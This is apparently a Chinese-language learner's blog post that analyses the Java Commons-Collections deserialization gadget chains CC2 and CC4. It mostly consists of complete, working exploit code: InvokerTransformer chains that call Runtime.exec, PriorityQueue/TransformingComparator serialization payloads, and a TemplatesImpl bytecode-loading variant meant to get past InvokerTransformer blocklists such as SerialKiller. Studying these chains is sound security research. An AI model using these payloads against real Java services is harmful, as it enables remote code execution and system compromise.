Java反序列化Commons-Collections——CC2&CC4

0x01 前言

CC2与CC1链后半段链相同,都是通过

CC2是通过TransformingComparator实现命令执行,而CC4则是CC2与CC3的结合。

0x02 CC2分析

因为前面是与CC1相同,这里就直接先贴上构建命令执行的exp:

1
2
3
4
5
6
7
8
9
10
11
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"open -a Calculator"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

同样直接对transform进行findUsages:

image-20250512165523290

这里找到了TransformingComparator#compare方法调用了transform,然后我们希望找一个入口方法——readObject:最终是在PriorityQueue类中找到下面这条链:

1
2
3
4
5
PriorityQueue#readObject 
PriorityQueue#heapify
PriorityQueue#siftDown
PriorityQueue#siftDownUsingComparator
TransformingComparator#compare

完美符合反序列化的要求。接下来就是逐步分析验证,构建合适的条件最终构建完整的CC2反序列化链:

一、TransformingComparator#compare

先来分析下TransformingComparator的构造方法:

image-20250512173816181

这里可以传入我们构造的ChainedTransformer,实例化对象,然后调用compare,构造如下exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void exp2() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"open -a Calculator"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
transformingComparator.compare(1, 2);
}

image-20250512174606691

成功执行命令。

二、PriorityQueue#heapify

因为PriorityQueue涉及到的方法属性都是私有的,所以这里这里直接通过反射的方式调用heapifyheapify是无参方法,以该方法举例构造exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static void exp3() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"open -a Calculator"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue queue = new PriorityQueue<>(transformingComparator);
Class<?> clazz = queue.getClass();
Method method = clazz.getDeclaredMethod("heapify");
method.setAccessible(true);
method.invoke(queue);
}

开启断点调试,逐步分析,应该如何构造才能最终实现命令执行。

image-20250512195723745

在走到heapify方法时,由于size=0,则不会执行siftDown方法,所以这里需要必须令(size >>> 1) -1 >= 0size必须大于等于2。而size是队列的大小,所以需要在队列中添加元素。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static void exp3() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"open -a Calculator"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue queue = new PriorityQueue<>(transformingComparator);
queue.add(1);
queue.add(2);
Class<?> clazz = queue.getClass();
Method method = clazz.getDeclaredMethod("heapify");
method.setAccessible(true);
method.invoke(queue);
}

image-20250513090609435

直接弹出计算器了,但是经过打断点发现,并没有执行heapify方法就弹出计算器,后续报错结束程序了。这里分析下原因:

image-20250513091042421

在第二次add时,执行到了siftUpUsingComparator,并且执行了comparator.compare(x, (E) e) >= 0,弹出计算器,然后报错结束程序。继续跟进发现是在compare方法,执行compare方法时,抛出ClassCastException异常image-20250513091724484

即我们在初始化PriorityQueue时传入的TransformingComparator在第二次addcompare方法时会被调用,执行transform弹出计算器然后报错,这里就可以利用反射的思想,可以先修改size的值,然后再通过反射给PriorityQueue.comparator赋值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static void exp4() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"open -a Calculator"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue queue = new PriorityQueue<>();
queue.add(1);
queue.add(2);
setField(queue, "comparator", transformingComparator);
Class<?> clazz = queue.getClass();
Method method = clazz.getDeclaredMethod("heapify");
method.setAccessible(true);
method.invoke(queue);
}

image-20250513092506851

这次是成功执行到了heapify方法,并且弹出计算器

image-20250513092835732

然后是最终的反序列化exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public static void exp5() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"open -a Calculator"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue queue = new PriorityQueue<>();
queue.add(1);
queue.add(2);
setField(queue, "comparator", transformingComparator);
serialize(queue);
deserializable("ser.bin");
}

image-20250513093007436

也是成功执行了命令。

0x03 CC2小结

看下整个调用过程

1
2
3
4
5
6
7
PriorityQueue#readObject 
PriorityQueue#heapify
PriorityQueue#siftDown
PriorityQueue#siftDownUsingComparator
TransformingComparator#compare
InvokerTransformer#transform
...

CC2和CC1后半条链是相同的,只不过CC2的前半段是从PriorityQueue入口开始。CC1和CC2最终都是通过InvokerTransformer#transform来实现命令执行 ,那么如果InvokerTransformer如果被禁掉或者被检测了(SerialKiller)该怎么办呢,这就要引出第四条CC链,下面继续分析。

0x04 CC4分析

开头提到,CC4其实就是CC2+CC3,即CC4是解决CC2在InvokerTransformer被检测或者禁用后的另一种利用方式。

这里先贴上CC3的命令执行代码:

1
2
3
4
5
6
7
8
9
byte[] code = Files.readAllBytes(Paths.get("/Users/rea1m/JavaSec/Commons-Collections/temp/calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_name", "test");
setField(templates, "_tfactory", new TransformerFactoryImpl());
setField(templates, "_bytecodes", new byte[][]{code});
// TrAXFilter filter = new TrAXFilter(templates);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

image-20250513115004768

成功执行命令,然后就是与CC2前半段链的拼接:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public static void exp2() throws Exception {
byte[] code = Files.readAllBytes(Paths.get("/Users/rea1m/JavaSec/Commons-Collections/temp/calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_name", "test");
setField(templates, "_tfactory", new TransformerFactoryImpl());
setField(templates, "_bytecodes", new byte[][]{code});

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue queue = new PriorityQueue<>();
queue.add(1);
queue.add(2);
setField(queue, "comparator", transformingComparator);
serialize(queue);
deserialize("ser.bin");

}

image-20250513162105919

成功弹出计算器。

当然,反射是非常灵活的 ,这里不仅仅可以修改PriorityQueue.comparator,还可以修改TransformingComparator.transformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static void exp1() throws Exception {
byte[] code = Files.readAllBytes(Paths.get("/Users/rea1m/JavaSec/Commons-Collections/temp/calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_name", "test");
setField(templates, "_tfactory", new TransformerFactoryImpl());
setField(templates, "_bytecodes", new byte[][]{code});

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer("test"));
PriorityQueue queue = new PriorityQueue<>(transformingComparator);
queue.add(1);
queue.add(2);
setField(transformingComparator, "transformer", chainedTransformer);
serialize(queue);
deserialize("ser.bin");
}

image-20250513135545122

同样弹出计算器。

两种方式都是为了避免在add方法出弹计算器,后者是在实例化TransformingComparator时,传入了一个任意的new ConstantTransformer(),然后在队列里添加完对象后 ,通过反射将TransformingComparator.transformer修改为构造的ChainedTransformer,同样可以成功执行命令,不仅CC4,CC2也可以使用相同的方法。

0x05 总结

这里写一下自己在过完这几条CC链的感受:

  • 基本开发能力还是要有的,起码要能很快理解每个类和每个方法的使用,不然调试半天,仅跟着别人的文章一步步走,其实学不到什么。
  • 反射是很灵活的,同一条利用链可以有多种反射修改变量实现命令执行的方式,多试几个可以加深对利用链的理解。